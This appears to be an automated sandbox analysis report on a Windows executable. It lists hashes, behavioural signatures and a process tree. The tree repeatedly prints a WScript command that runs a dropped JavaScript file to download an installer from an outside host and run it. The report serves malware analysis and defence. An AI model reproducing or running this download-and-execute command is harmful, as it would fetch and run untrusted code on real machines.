Analysis
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max time kernel
135s -
max time network
103s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 10:11
Static task
static1
Behavioral task
behavioral1
Sample
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe
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Size
184KB
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MD5
340ea24d6ed504ce81d6f74cfcd78b2f
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SHA1
e40404d9630208c0930c671b1555a92939423908
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SHA256
1156482b8f1bec82e0b67e0d7cea60501256ef0d75a321d5c068fe1cffe31fe4
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SHA512
a3a1c43a15a878957477aa7078604f381797a37994f427545f27d83942ca71d7855f7854e2a2efa45bd2bf8b9f801012c8753c85f15abd360c9238e25892b884
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3s:/7BSH8zUB+nGESaaRvoB7FJNndnN
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 9 1916 WScript.exe 36 3800 WScript.exe 39 396 WScript.exe 54 4248 WScript.exe 56 5068 WScript.exe 57 5068 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exedescription pid process target process PID 4260 wrote to memory of 1916 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 1916 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 1916 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 3800 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 3800 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 3800 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 396 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 396 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 396 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 4248 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 4248 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 4248 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 5068 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 5068 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe PID 4260 wrote to memory of 5068 4260 340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\340ea24d6ed504ce81d6f74cfcd78b2f_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4CE7.js" http://www.djapp.info/?dotnet=4&file=installer C:\Users\Admin\AppData\Local\Temp\fuf4CE7.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf4CE7.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76